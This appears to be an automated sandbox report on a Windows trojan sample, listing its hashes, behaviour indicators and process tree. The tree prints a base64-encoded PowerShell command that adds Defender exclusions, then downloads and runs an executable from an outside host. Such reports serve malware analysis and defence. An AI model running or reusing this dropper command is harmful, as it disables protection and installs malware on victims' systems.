4e715eb17a41c8ec81f53c3ca96748fe089c1525a98e3e17634185a297fa99e1

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
30/04/2024, 06:38

Target

SecuriteInfo.com.Trojan.Siggen22.38926.16727.16966.exe
Size

4KB
MD5

384c55be00f60c694324e8cb3a47d4a0
SHA1

95f3cd83415d33899ecf825516a5c50cf5f3c389
SHA256

4e715eb17a41c8ec81f53c3ca96748fe089c1525a98e3e17634185a297fa99e1
SHA512

dd9a9358e85afd59e2ec0f7c161dce514b88dd13f594f70ec35cdbf8d1af655f5f1063fe9a5411fff98482ae9ff753798e05d35c845780156225eef54b1d6d23
SSDEEP

96:xTd8EYaWxlX4Aw0nlqrZ9FxW5d3ojLrl:xuEYaWxlX4AfleZ9FE5dg

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
996	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	996	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1948 wrote to memory of 996	1948	SecuriteInfo.com.Trojan.Siggen22.38926.16727.16966.exe	28
PID 1948 wrote to memory of 996	1948	SecuriteInfo.com.Trojan.Siggen22.38926.16727.16966.exe	28
PID 1948 wrote to memory of 996	1948	SecuriteInfo.com.Trojan.Siggen22.38926.16727.16966.exe	28
PID 1948 wrote to memory of 996	1948	SecuriteInfo.com.Trojan.Siggen22.38926.16727.16966.exe	28

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen22.38926.16727.16966.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen22.38926.16727.16966.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAawBlACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdwBuAGIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbgB3AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQB1AGkAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAdwBvAHIAawBzAGUAcgB2AGUAcgAuAGQAZABuAHMALgBuAGUAdAAvAFAAbwBnAGkAbgBnAGUAdABjAC4AZQB4AGUAJwAsACAAPAAjAHYAaQBhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbQB0AHcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdgB3AHUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABvAGcAaQBuAGcAZQB0AGMALgBlAHgAZQAnACkAKQA8ACMAbQByAGEAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAegBsAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGEAaABjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFAAbwBnAGkAbgBnAGUAdABjAC4AZQB4AGUAJwApADwAIwBnAHMAawAjAD4A"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:996

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact